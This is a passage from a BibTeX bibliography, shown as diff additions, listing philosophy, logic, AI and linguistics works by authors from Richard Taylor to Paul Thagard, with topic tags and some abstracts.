{1957}, + volume = {1957}, + number = {66}, + pages = {1--28}, + topic = {future-contingent-propositions;} + } + +@article{ taylor_r:1960a, + author = {Richard Taylor}, + title = {I Can}, + journal = {Philosophical Review}, + year = {1960}, + volume = {69}, + pages = {78--89}, + number = {1}, + topic = {ability;} + } + +@article{ taylor_r:1962a, + author = {Richard Taylor}, + title = {Fatalism}, + journal = {The Philosophical Review}, + year = {1962}, + volume = {71}, + number = {1}, + pages = {56--66}, + xref = {Commentary: brown_cd:1965a, sharvy:1964a, cahn:1964a. + Also see: taylor:1964a.}, + topic = {(in)determinism;} + } + +@book{ taylor_r:1963a, + author = {Richard Taylor}, + title = {Metaphysics}, + publisher = {Prentics-Hall}, + year = {1963}, + address = {Englewood Cliffs, New Jersey}, + topic = {metaphysics;} + } + +@article{ taylor_r:1964a, + author = {Richard Taylor}, + title = {Deliberation and Foreknowledge}, + journal = {American Philosophical Quarterly}, + year = {1964}, + volume = {1}, + number = {1}, + pages = {1--8}, + topic = {(in)determinism;} + } + +@article{ taylor_r:1964b, + author = {Richard Taylor}, + title = {Comment}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {10}, + pages = {305--307}, + xref = {Commentary on: sharvy:1964a, cahn:1964a.}, + topic = {(in)determinism;} + } + +@book{ taylor_r:1966a, + author = {Richard Taylor}, + title = {Action and Purpose}, + publisher = {Prentice-Hall}, + year = {1966}, + address = {Englewood Cliffs, New Jersey}, + topic = {action;intention;freedom;volition;} + } + +@book{ taylor_rn-coutaz:1995a, + author = {Richard N. Taylor and Jo\"elle Coutaz}, + title = {Software Engineering and Human-Computer Interaction: + {ICSE}'94 Workshop on {SE-HCI}}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + ISBN = {3540590080 (paper)}, + topic = {HCI;software-engineering;} + } + +@article{ taylor_t:2001a, + author = {Tim Taylor}, + title = {Review of {\it Introduction to Artificial Life,} + by {C}hristoph {A}dami}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {130}, + number = {1}, + pages = {119--121}, + xref = {Review of: adami:1998a.}, + topic = {artificial-life;} + } + +@article{ teahan-etal:2000a, + author = {W.J. Teahan and Yingying Wen and Rodger McNab and Ian H. + Witten}, + title = {A Compression-Based Algorithm for {C}hinese Word + Segmentation}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {375--393}, + topic = {word-segmentation;Chinese-language;} + } + +@article{ tecuci-etal:2001a, + author = {Gheorghe Tecuci and Mihai Boicu and Mike Bowman and + Dorin Marcu}, + title = {An Innovative Application from the {DARPA} Knowledge + Bases Programs: Rapid Development of a Course-of-Action + Critiquer}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {43--61}, + topic = {software-engineering;expert-systems;} + } + +@incollection{ teege:1994a, + author = {Gunnar Teege}, + title = {Making the Difference: A Subtraction Operation for + Description Logics}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {540--550}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@book{ teich:1999a, + author = {Elke Teich}, + title = {Systemic Functional Grammar in Natural Language + Generation: Linguistic Description and Computational + Representation}, + publisher = {Cassell}, + year = {1999}, + address = {London}, + ISBN = {0-304-70168-8}, + xref = {Review: wilcock:2000a.}, + topic = {systemic-grammar;nl-generation;} + } + +@incollection{ teichmann:1996a, + author = {Roger Teichmann}, + title = {Statements of Property-Identity and Event-Identity}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {461--476}, + address = {Oxford}, + topic = {propositions;events;identity;} + } + +@article{ teller:2000a, + author = {Virginia Teller}, + title = {Review of {\it Speech and Language Processing: An + Introduction to Natural Language Processing, Computational + Linguistics, and Speech Recognition}, by {D}aniel {J}urafsky and + {J}ames {H}. {M}artin}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {638--641}, + xref = {Review of: jurafsky-martin_j:2000a.}, + topic = {nlp-intro;} + } + +@article{ teller:2001a, + author = {Paul Teller}, + title = {The Ins and Outs of Counterfactual Switching}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {3}, + pages = {365--393}, + topic = {foundations-of-quantum-theory;individuation; + quantifying-in-modality;} + } + +@article{ teller_a-veloso:2000a, + author = {Astro Teller and Manuela Veloso}, + title = {Internal Reinforcement in a Connectionist Genetic + Programming Approach}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {2}, + pages = {165--198}, + acontentnote = {Abstract: + Genetic programming (GP) can learn complex concepts by searching + for the target concept through evolution of a population of + candidate hypothesis programs. However, unlike some learning + techniques, such as Artificial Neural Networks (ANNs), GP does + not have a principled procedure for changing parts of a learned + structure based on that structure's performance on the training + data. GP is missing a clear, locally optimal update procedure, + the equivalent of gradient-descent backpropagation for ANNs. + This article introduces a new algorithm, "internal + reinforcement", for defining and using performance feedback on + program evolution. This internal reinforcement principled + mechanism is developed within a new connectionist representation + for evolving parameterized programs, namely "neural + programming". We present the algorithms for the generation of + credit and blame assignment in the process of learning programs + using neural programming and internal reinforcement. The article + includes a comprehensive overview of genetic programming and + empirical experiments that demonstrate the increased learning + rate obtained by using our principled program evolution + approach. + } , + topic = {machine-learning;genetic-algorithms;connectionist-modeling;} + } + +@incollection{ teller_i:1999a, + author = {Isabelle Teller}, + title = {Towards a Semantic-Based Theory of Language Learning}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {217--222}, + address = {Amsterdam}, + topic = {language-learning;} + } + +@incollection{ teller_p:1976a, + author = {Paul Teller}, + title = {Conditionalization, Observation, and Change of Preference}, + booktitle = {Foundations of Probability Theory, Statistical + Inference, and Statistical Theories of Science, Volume 1}, + publisher = {D. Reidel Publishers}, + year = {1976}, + editor = {William L. Harper and Clifford A. Hooker}, + pages = {205--259}, + address = {Dordrecht}, + topic = {probability-kinematics;preferece;} + } + +@incollection{ teller_p:2000a, + author = {Paul Teller}, + title = {The Gauge Argument}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S466--S481}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;gauge-theory;} + } + +@incollection{ tellier:1998a, + author = {Isabelle Tellier}, + title = {Syntactico-Semantic Learning of Categoriacal + Grammars}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {311--314}, + address = {Somerset, New Jersey}, + topic = {grammar-learning;} + } + +@incollection{ temizsoy-ciceki:1998a, + author = {Murai Temizsoy and Hyas Ciceki}, + title = {A Language-Independent System for Generating Feature + Structures from Interlingua Representations}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {188--197}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;machine-translation;} + } + +@incollection{ tencate:2002a, + author = {Balder ten Cate}, + title = {On the Logic of D-Separation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {568--577}, + address = {San Francisco, California}, + topic = {kr;Bayessian-networks;} + } + +@article{ tenenbaum-barrow:1977a, + author = {J.M. Tenenbaum and H.G. Barrow}, + title = {Experiments in Interpretation-Guided Segmentation}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {3}, + pages = {241--274}, + acontentnote = {Abstract: + This paper presents a new approach for integrating the + segmentation and interpretation phases of scene analysis. + Knowledge from a variety of sources is used to make inferences + about the interpretations of regions, and regions are merged in + accordance with their possible interpretations. + The deduction of region interpretations is performed using a + generalization of Waltz's filtering algorithm. Deduction + proceeds by eliminating possible region interpretations that are + not consistent with any possible interpretation of an adjacent + region. Different sources of knowledge are expressed uniformly + as constraints on the possible interpretations of regions. + Multiple sources of knowledge can thus be combined in a + straightforward way such that incremental additions of knowledge + (or equivalently, human guidance) will effect incremental + improvements in performance. + Experimental results are reported in three scene domains, + landscapes, mechanical equipment, and rooms, using, + respectively, a human collaborator, a geometric model and a set + of relational constraints as sources of knowledge. These + experiments demonstrate that segmentation is much improved when + integrated with interpretation. Moreover, the integrated + approach incurs only a small computational overhead over + unguided segmentation. + Applications of the approach in cartography, + photointerpretation, vehicle guidance, medicine, and motion + picture analysis are suggested. } , + topic = {scene-reconstruction;autonomous-vehicles;} + } + +@phdthesis{ tenenberg:1988a, + author = {Josh D. Tenenberg}, + title = {Abstraction in Planning}, + school = {Department of Computer Science, University of Rochester}, + year = {1988}, + type = {Ph.{D}. Dissertation}, + address = {Rochester, New York}, + topic = {planning;abstraction;} + } + +@incollection{ tenenberg:1989a, + author = {Josh D. Tenenberg}, + title = {Inheritance in Automated Planning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {475--485}, + address = {San Mateo, California}, + topic = {kr;inheritance;abstraction;planning;kr-course;} + } + +@inproceedings{ tenhacken-bopp:1998a, + author = {Pius ten Hacken and Stephan Bopp}, + title = {Separable Verbs in a Reusable Morphological Dictionary for + {G}erman}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {471--475}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {German-language;separable-verbs; + computational-lexicography;} + } + +@book{ tennant:1981a, + author = {Harry Tennant}, + title = {Natural Language Processing: An Introduction to an + Emerging Technology}, + publisher = {PBI}, + year = {1981}, + address = {New York}, + ISBN = {0894331000}, + topic = {nl-processing;nlp-intro;} + } + +@book{ tennant_hr:1981a, + author = {Harry R. Tennant}, + title = {Natural Language Processing}, + publisher = {Petrocelli Books}, + year = {1981}, + address = {New York}, + topic = {nlp-intro;} + } + +@article{ tennant_n:1977a, + author = {Neil Tennant}, + title = {Continuity and Identity}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {223--231}, + topic = {individuation;} + } + +@article{ tennant_n:1980a, + author = {Niel Tennant}, + title = {A Proof-Theoretic Approach to Entailment}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {185--209}, + topic = {relevance-logic;proof-theory;} + } + +@article{ tennant_n:1981a, + author = {Neil Tennant}, + title = {Formal Games and Forms for Games}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {2}, + missinginfo = {pages pages = {311--}}, + topic = {ambiguity;nl-quantifier-scope;nl-quantifiers; + semantic-underspecification;} + } + +@article{ tennant_n:1986a, + author = {Neil Tennant}, + title = {The Withering Away of Formal Semantics?}, + journal = {Mind and Language}, + year = {1996}, + volume = {1}, + number = {4}, + pages = {302--318}, + contentnote = {Argues that formal semantics adds nothing of value + to what can already be done by proof theory.}, + topic = {foundations-of-semantics;} + } + +@article{ tennant_n:1994a, + author = {Neil Tennant}, + title = {Changing the Theory of Theory Change: Towards a + Computational Approach}, + journal = {British Journal for the Philosophy of Science}, + year = {1994}, + volume = {45}, + pages = {865--89}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@incollection{ tennant_n:1996a, + author = {Neil Tennant}, + title = {Delicate Proof Theory}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {351--385}, + address = {Oxford}, + topic = {proof-theory;} + } + +@article{ tennant_n:1997a, + author = {Neil Tennant}, + title = {On the Necessary Existence of Numbers}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {3}, + pages = {307--336}, + topic = {philosophy-of-mathematics;metaphysics;} + } + +@book{ tennant_n:1997b, + author = {Neil Tennant}, + title = {The Taming of the True}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: glanzberg:2000a.}, + topic = {philosophical-realism;} + } + +@article{ tennant_n:2000a, + author = {Neil Tennant}, + title = {Deductive Versus Expressive Power: A Pre-G\"odelian + Predicament}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {257--277}, + topic = {philosophy-of-mathematics;logicism;} + } + +@incollection{ tennenholtz:1996a, + author = {Moshe Tennenholtz}, + title = {On Stable Social Laws and Qualitative Equilibrium + for Risk-Averse Agents}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {553--561}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;qualitative-equilibria;kr-course;} + } + +@article{ tennenholtz:1998a, + author = {Moshe Tennenholtz}, + title = {On Stable Social Laws and Qualitative Equilibria}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {1--20}, + topic = {distributed-systems;artificial-societies; + qdt;} + } + +@article{ tennenholtz:2002a, + author = {Moshe Tennenholtz}, + title = {Tractable Combinatorial Auctions and B-Matching}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {231--243}, + topic = {auction-protocols;e-commerce;} + } + +@techreport{ tenny:1988a, + author = {Carol Tenny}, + title = {Studies in Generative Approaches to Aspect}, + institution = {Center for Cognitive Science, Massachusetts Institute + of Technology}, + number = {Lexicon Project Working Papers 24}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {tense-aspect;events;} + } + +@book{ tenny:1994a, + author = {Carol L. Tenny}, + title = {Aspectual Roles and the Syntax-Semantics Interface}, + publisher = {Kluwer Academic Publishers}, + year = {1994}, + address = {Dordrecht}, + ISBN = {0792328639}, + topic = {tense-aspect;} + } + +@article{ tent:1990a, + author = {Katin Tent}, + title = {The Application of {M}ontague's Translations in + Universal Research and Typology}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {6}, + pages = {661--686}, + topic = {Montague-grammar;universal-grammar;typology;} + } + +@incollection{ tenteije-vanharmelen:1996a, + author = {Annette ten Teije and Frank {van Harmelen}}, + title = {Computing Approximate Diagnoses by Using Approximate + Entailment}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {256--265}, + address = {San Francisco, California}, + topic = {kr;diagnosis;approximate-logical-consequence; + theorem-proving;} + } + +@article{ terenziani-torasso:1995a, + author = {Paolo Terenziani and Pietro Torasso}, + title = {Time, Action-Types and Causation: An Integrated Analysis}, + journal = {Computational Intelligence}, + year = {1995}, + volume = {11}, + number = {3}, + pages = {529--552}, + topic = {temporal-reasoning;Aktionsarten;causality;} + } + +@book{ termeulen:1980a, + author = {Alice {ter Meulen}}, + title = {Substances, Quantities and Individuals: A Study in + the Formal Semantics of Mass Terms}, + publisher = {Indiana University Linguistics Club}, + year = {1980}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {mass-term-semantics;} + } + +@article{ termeulen:1980b, + author = {Alice {ter Meulen}}, + title = {An Intensional Logic for Mass Terms}, + journal = {Philosophical Studies}, + year = {1980}, + volume = {40}, + pages = {105--125}, + missinginfo = {number}, + topic = {mass-term-semantics;} + } + +@incollection{ termeulen:1984a, + author = {Alice G.B. ter Meulen}, + title = {Events, Quantities, and Individuals}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {259--280}, + address = {Dordrecht}, + topic = {philosophical-ontology;events;nl-semantics;} + } + +@unpublished{ termeulen:1985a1, + author = {Alice {ter Meulen}}, + title = {Progressives without Possible Worlds}, + year = {1985}, + note = {Unpublished manuscript, University of Washington.}, + topic = {tense-aspect;} + } + +@inproceedings{ termeulen:1985a2, + author = {Alice {ter Meulen}}, + title = {Progressives without Possible Worlds}, + booktitle = {Proceedings of the Twenty-First Regional Meeting of the + Chicago Linguistics Society}, + year = {1985}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + pages = {408--423}, + missinginfo = {editor}, + topic = {tense-aspect;progressive;} + } + +@incollection{ termeulen:1986a, + author = {Alice {ter Meulen}}, + title = {Generic Information, Conditional Contexts and + Constraints}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {123--146}, + address = {Cambridge, England}, + topic = {conditionals;generics;context;} + } + +@inproceedings{ termeulen:1986b, + author = {Alice G. B. ter Meulen}, + title = {Plural Anaphora with Nominal and Predicative Antecedents}, + booktitle = {WCCFL 5}, + publisher = {Stanford Linguistics Association}, + address = {Stanford}, + year = {1986}, + topic = {nl-semantics;plural;} + } + +@unpublished{ termeulen:1986c, + author = {Alice {ter Meulen}}, + title = {Processing Pronouns: A Comparison of Situations Semantics + and Discourse Representation Theory}, + year = {1986}, + note = {Unpublished manuscript, University of Washington.}, + missinginfo = {Year is a guess}, + topic = {anaphora;discourse-representation-theory;situation-semantics;} + } + +@incollection{ termeulen:1987a, + author = {Alice {ter Meulen}}, + title = {Incomplete Events}, + booktitle = {Proceedings of the Sixth {A}msterdam Colloquium April + 13--16 1987}, + publisher = {Institute for Language, Logic and Information, + University of Amsterdam}, + year = {1987}, + editor = {Jeroen Groenendijk and Martin Stokhof and Frank Veltman}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {tense-aspect;progressive;events;} + } + +@unpublished{ termeulen:1988a, + author = {Alice {ter Meulen}}, + title = {Structuring Domains for Events}, + year = {1988}, + note = {Unpublished manuscript, University of Washington}, + topic = {tense-aspect;events;dynamic-semantics;} + } + +@book{ termeulen:1995a, + author = {Alice {ter Meulen}}, + title = {Representing Time in Natural Language: The Dynamic + Interpretation of Tense and Aspect}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + xref = {Review: passoneau:1996a.}, + topic = {dynamic-semantics;tense-aspect;} + } + +@incollection{ termeulen:1995b, + author = {Alice {ter Meulen}}, + title = {Semantic Constraints on Type-Shifting Anaphora}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {339--357}, + address = {Chicago, IL}, + topic = {definite-descriptions;anaphora;} + } + +@inproceedings{ termeulen:1995c, + author = {Alice {ter Meulen}}, + title = {Content in Context}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {97--109}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;tense-aspect;} + } + +@article{ termeulen:1998a, + author = {Alice {ter Meulen}}, + title = {Review of {\it Anaphora Temporalles et + (In)Coherence}, edited by {W}alter de {M}ulder, + {L}iliane {T}asmowski-{D}e {R}yck, and {C}arl + {V}etters}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {644--648}, + topic = {anaphora;} + } + +@incollection{ termeulen:1999a, + author = {Alice ter Meulen}, + title = {Binding by Implicit Arguments}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {37--42}, + address = {Amsterdam}, + topic = {anaphora;definite-descriptions;game-theoretic-semantics;} + } + +@inproceedings{ ternovskaia:1998a, + author = {Eugenia Ternovskaia}, + title = {Causality via Inductive Definitions}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {94--100}, + topic = {causality;temporal-reasoning;planning-formalisms; + nonmonotonic-reasoning;} + } + +@book{ terry-hogg:2000a, + editor = {Deborah J. Terry and Michael A. Hogg}, + title = {Attitudes, Behavior, and Social Context: The Role of Norms and + Group Membership}, + publisher = {Erlbaum Associates}, + year = {2000}, + address = {Mahwah, New Jersey}, + ISBN = {0805825657 (cloth)}, + topic = {social-psychology;attitudes-in-psychology;} + } + +@inproceedings{ terveen-wroblewski:1991a, + author = {Loren G. Terveen and David A. Wroblewski}, + title = {A Tool for Achieving Consensus in Knowledge Representation}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {74--79}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;kr-acquisition;kr-course;} + } + +@incollection{ terziyan-puuronen:2000a, + author = {Vagan Y. Terziyan and Seppo Puuronen}, + title = {Reasoning with Multilevel Contexts in Semantic + Metanetworks}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {107--126}, + address = {Dordrecht}, + topic = {context;} + } + +@article{ terzopoulos-etal:1988a, + author = {Demetri Terzopoulos and Andrew Witkin and Michael Kass}, + title = {Constraints on Deformable Models: Recovering {3D} Shape and + Nonrigid Motion}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {91--123}, + topic = {three-D-reconstruction;computer-vision;} + } + +@inproceedings{ tesar:1996a, + author = {Bruce Tesar}, + title = {Computing Optimal Descriptions for Optimality Theory + Grammars with Context-Free Position Structures}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {101--107}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {optimality-theory;parsing-algorithms;linear-programming;} + } + +@article{ tesar-smolensky:1998a, + author = {Bruce Tesar and Paul Smolensky}, + title = {Learnability in Optimality Theory}, + journal = {Linguistic Inquiry}, + year = {199}, + volume = {29}, + number = {1}, + pages = {229--268}, + xref = {Follow-up book: tesar-smolensky:2000a.}, + topic = {grammar-learning;optimality-theory;} + } + +@book{ tesar-smolensky:2000a, + author = {Bruce Tesar and Paul Smolensky}, + title = {Learnability in Optimality Theory}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + xref = {Review: daelemans:2001a, blutner:2002a.}, + topic = {grammar-learning;optimality-theory;} + } + +@article{ tesauro-sejnowski:1989a, + author = {G. Tesauro and T.J. Sejnowski}, + title = {A Parallel Network that Learns to Play Backgammon}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {3}, + pages = {357--390}, + topic = {machine-learning;game-playing;} + } + +@article{ tesauro:2002a, + author = {Gerald Tesauro}, + title = {Programming Backgammon Using Self-Teaching Neural Nets}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {181-199}, + topic = {computer-games;connectionist-models;machine-learning;} + } + +@incollection{ tessaris-etal:2002a, + author = {Sergio Tessaris and Ian Horrocks and Graham Gough}, + title = {Evaluating a Modular {A}box Algorithm}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {227--235}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;} + } + +@article{ tessem:1993a, + author = {Bj{\o}rnar Tessem}, + title = {Approximations for Efficient Computation in the Theory of + Evidence}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {315--329}, + acontentnote = {Abstract: + The theory of evidence has become a widely used method for + handling uncertainty in intelligent systems. The method has, + however, an efficiency problem. To solve this problem there is a + need for approximations. In this paper an approximation method + in the theory of evidence is presented. Further, it is compared + experimentally with Bayesian and consonant approximation methods + with regard to the error they make. Depending on parameters and + the nature of evidence the experiments show that the new method + gives comparatively good results. Properties of the + approximation methods for presentation purposes are also + discussed. + } , + topic = {reasoning-about-uncertainty;approxiomation-methods;} + } + +@book{ tesser:1995a, + editor = {Abraham Tesser}, + title = {Advanced Social Psychology}, + publisher = {McGraw-Hill}, + year = {1995}, + address = {New York}, + contentnote = {TC: + 1. Robert Rosenthal , "Methodology" + 2. Roy F. Baumeister , "Self and Identity: An Introduction" + 3. Daniel T. Gilbert , "Attribution and Interpersonal + Perception" + 4. Susan T. Fiske, "Social Cognition" + 5. Richard E. Petty , "Attitude Change" + 6. Robert B. Cialdini , "Principles and Techniques + of Social Influence" + 7. Margaret S. Clark and Sherri P. Pataki, "Interpersonal Processes + Influencing Attraction and Relationships" + 8. C. Daniel Batson , "Prosocial Motivation: Why Do We Help + Others?" + 9. Russell G. Geen , "Human Aggression" + 10. John M. Levine and Richard Moreland , "Group Processes" + 11. Patricia G. Devine , "Prejudice and Out-Group Perception" + } , + ISBN = {0070633924 (recycled, acid-free paper)}, + topic = {social-psychology;} + } + +@incollection{ tessler-etal:1995a, + author = {Shirley Tessler and Yumi Iwasaki and Kincho Law}, + title = {Qualitative Structural Analysis Using Diagrammatic + Reasoning}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {711--729}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + qualitative-physics;visual-reasoning;} + } + +@article{ tetreault:2001a, + author = {Joel Tetreault}, + title = {A Corpus-Based Evaluation of Centering and Pronoun + Resolution}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {507--520}, + topic = {anaphora-resolution;centering;corpus-linguistics;} + } + +@incollection{ teufel:1998a, + author = {Simone Teufel}, + title = {Meta-Discourse Markers and Problem-Structuring in + Scientific Texts}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {43--49}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;argumentation;} + } + +@incollection{ teufel-moens:1999a, + author = {Simone Teufel and Marc Moens}, + title = {Discourse-Level Argumentation in Scientific Articles: + Human and Automatic Annotation}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {84--93}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;argumentation;} + } + +@article{ thagard:1977a, + author = {Paul Thagard}, + title = {The Unity of {P}eirce's Theory of Hypothesis}, + journal = {Transactions of the {C}harles {S}anders {P}eirce {S}ociety}, + year = {1977}, + volume = {13}, + pages = {112--121}, + topic = {Peirce;abduction;} + } + +@article{ thagard:1978a, + author = {Paul R. Thagard}, + title = {The Best Explanation: Criteria for Theory Choice}, + journal = {The Journal of Philosophy}, + year = {1978}, + pages = {76--92}, + missinginfo = {volume, number}, + topic = {abduction;} + } + +@article{ thagard:1978b, + author = {Paul Thagard}, + title = {Semiotics and Hypothetic Inference in {C}.{S}. {P}eirce}, + journal = {Versus}, + year = {1978}, + volume = {19/20}, + pages = {163--172}, + topic = {semiotics;Peirce;} + } + +@book{ thagard:1988a, + author = {Paul R. Thagard}, + title = {Computational Philosophy of Science}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + ISBN = {0262200686}, + topic = {philosophy-of-science;AI-phil;philosophy-AI;} + } + +@incollection{ thagard:1991a, + author = {Paul Thagard}, + title = {The Dinosaur Debate: Explanatory Coherence and + the Problem of Competing Hypotheses}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John Pollock}, + pages = {279--300}, + address = {Cambridge, Massachusetts}, + topic = {explanation;philosophy-of-science;} + } + +@book{ thagard:1996a, + author = {Paul Thagard}, + title = {Mind: Introduction to Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262201062 (alk. paper)}, + topic = {philosophy-of-mind;philosophy-cogsci;cogsci-intro; + philosophy-AI;cognitive-science-general;} + } + +@book{ thagard:1998a, + editor = {Paul Thagard}, + title = {Mind Readings: Introductory Selections on Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1998}, + ISBN = {0262700670 (pbk.)}, + topic = {cogsci-intro;} + } + +@book{ thagard:1999a, + author = {Paul Thagard}, + title = {How Scientists Explain Disease}, + publisher = {Princeton University Press}, + year = {1999}, + address = {Princeton}, + ISBN = {0691002614 (cloth)}, + topic = {explanation;philosophy-of-science;} + } + +@book{ thagard:2000a, + author = {Paul 